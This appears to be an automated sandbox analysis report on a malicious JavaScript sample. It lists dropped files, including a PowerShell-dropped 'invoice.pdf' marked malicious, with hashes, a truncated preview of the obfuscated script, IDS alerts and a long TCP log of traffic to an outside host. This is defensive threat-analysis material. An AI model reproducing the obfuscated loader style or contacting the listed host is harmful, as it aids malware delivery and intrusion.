Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17189), with CRLF line terminators
Entropy (8bit):	4.890483374291057
TrID:
File name:	7605302032554420656.js
File size:	20'450 bytes
MD5:	a31f4d26cf29bde8910e6d69e75dd14f
SHA1:	b980ed7c3c02955d859636e150c35a8e270b3883
SHA256:	371f7815931e5ae92638992f42caaba90527b756b591e3badb7795150bcd8f89
SHA512:	7c0329f005548877d8cd6dc6a3e6ba01c9e1b9fbcd0164bc598b21273d95cea0fd3c579b56fbc24aae704cea75ab084f0404e559bf6796aa5c404da857a1d42a
SSDEEP:	384:Fwgp25YoeqW4gxkbgCGrbe5VQu6eJklN/MK:YYoekoCSq5ZJOMK
TLSH:	709274E4B44249A4CDD83231BA072CDD324C23EC16355D5C9CA6687967493BBB3FA1B7
File Content Preview:	function ybegd(){qspelc=[1031,3079,5127,4103,2055,3072];var hkybsa=this[oyvytd+yppwu+smuajgxu+ctirh+ntxng+moenekw+xwuka+tzargra](this[kwbma+rgxdmbtmy+gyqsj+smuajgxu+dsjersvh+oyvytd+tzargra][mkxnioh+smuajgxu+ntxng+yppwu+tzargra+ntxng+vhfdsef+vdtdy+igwqmtot

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T18:41:00.408553+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.6	49711	193.143.1.205	80	TCP
2025-01-10T18:41:02.542601+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.6	49721	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 18:40:59.586530924 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:40:59.591550112 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:40:59.595251083 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:40:59.597904921 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:40:59.602679968 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.408490896 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.408504963 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.408519983 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.408543110 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.408554077 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.408552885 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.408575058 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.408582926 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.408586025 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.408597946 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.408607960 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.408617020 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.408620119 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.408654928 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.468478918 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.468491077 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.468545914 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.468619108 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.468627930 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.468657017 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.529159069 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.529205084 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.529217958 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.529258966 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.529259920 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.529269934 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.529304028 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.529309034 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.529310942 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.529355049 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.530091047 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.530102968 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.530129910 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.530133009 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.530144930 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.530158043 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.530164003 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.530169964 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.530198097 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.531028032 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.531033039 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.531044006 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.531056881 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.531068087 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.531069994 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.531095982 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.531114101 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.531856060 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.531980038 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.532016039 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.558928967 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.589272022 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.589284897 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.589322090 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.589361906 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.589374065 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.589386940 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.589405060 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.589436054 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.617546082 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.617558956 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.617620945 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.650440931 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.650460958 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.650468111 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.650512934 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.650535107 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.650547028 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.650557995 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.650579929 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.650589943 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.650599957 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.650609016 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.650615931 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.650656939 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.651444912 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.651457071 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.651477098 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.651483059 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.651484966 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.651510954 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.651520967 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.651532888 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.651545048 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.651571989 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.651590109 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.652393103 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.652421951 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.652432919 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.652445078 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.652456045 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.652457952 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.652470112 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.652477980 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.652482033 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.652501106 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.652509928 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.652540922 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.653371096 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.653383017 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.653394938 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.653408051 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.653420925 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.653422117 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.653434038 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.653450012 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.653456926 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.653475046 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.654206991 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.654217958 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.654230118 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.654238939 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.654355049 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.655261040 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.677876949 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.677903891 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.677915096 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.677920103 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.677927971 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.677941084 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.682643890 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.682682037 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.709994078 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.710005999 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.710048914 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.710062027 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.710073948 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.710102081 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.710181952 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.738935947 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.738949060 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.738967896 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.738979101 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.738991022 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.739007950 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.739022017 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.739062071 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.771255970 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.771270037 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.771282911 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.771328926 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.771362066 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.771375895 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.771397114 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.771399021 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.771409035 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.771421909 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.771433115 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.771434069 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.771456003 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.771461964 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.771472931 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.771483898 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.771507025 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.771533012 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.772090912 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.772100925 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.772154093 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.772227049 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.772238016 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.772250891 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.772255898 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.772284985 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.772299051 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.772303104 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.772316933 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.772326946 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.772351027 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.772377014 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.772857904 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.772870064 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.772882938 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.772902012 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.773029089 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.773045063 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.773056984 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.773070097 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.773072004 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.773082972 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.773093939 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.773094893 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.773109913 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.773123980 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.773154974 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.773755074 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.773766994 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.773777962 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.773798943 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.773814917 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.773825884 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.773838043 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.773850918 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.773850918 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.773875952 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.773884058 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.773895025 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.773907900 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.773931980 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.773957968 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.774652958 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.774663925 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.774677038 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.774698973 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.774699926 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.774710894 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.774723053 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.774749041 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.774772882 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.774823904 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.774835110 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.774846077 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.774857044 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.774868965 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.774899006 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.775645018 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.775656939 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.775676012 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.775686026 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.775691986 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.775698900 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.775710106 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.775721073 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.775732994 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.775736094 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.775744915 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.775758028 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.775769949 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.775793076 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.776463032 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.776474953 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.776505947 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.779839039 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.798811913 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.798830986 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.798842907 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.798855066 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.798866987 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.798878908 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.798942089 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.798940897 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.798954010 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.798954964 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.798966885 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.799021959 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.827470064 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.827482939 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.827495098 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.827513933 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.827524900 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.827557087 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.827599049 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.827609062 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.827620983 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.827727079 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.827727079 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.830924988 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.830971003 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.831018925 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.831028938 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.831059933 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:00.831612110 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.859766006 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.859843016 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.859853983 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.859870911 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:00.859883070 CET	80	49711	193.143.1.205	192.168.2.6
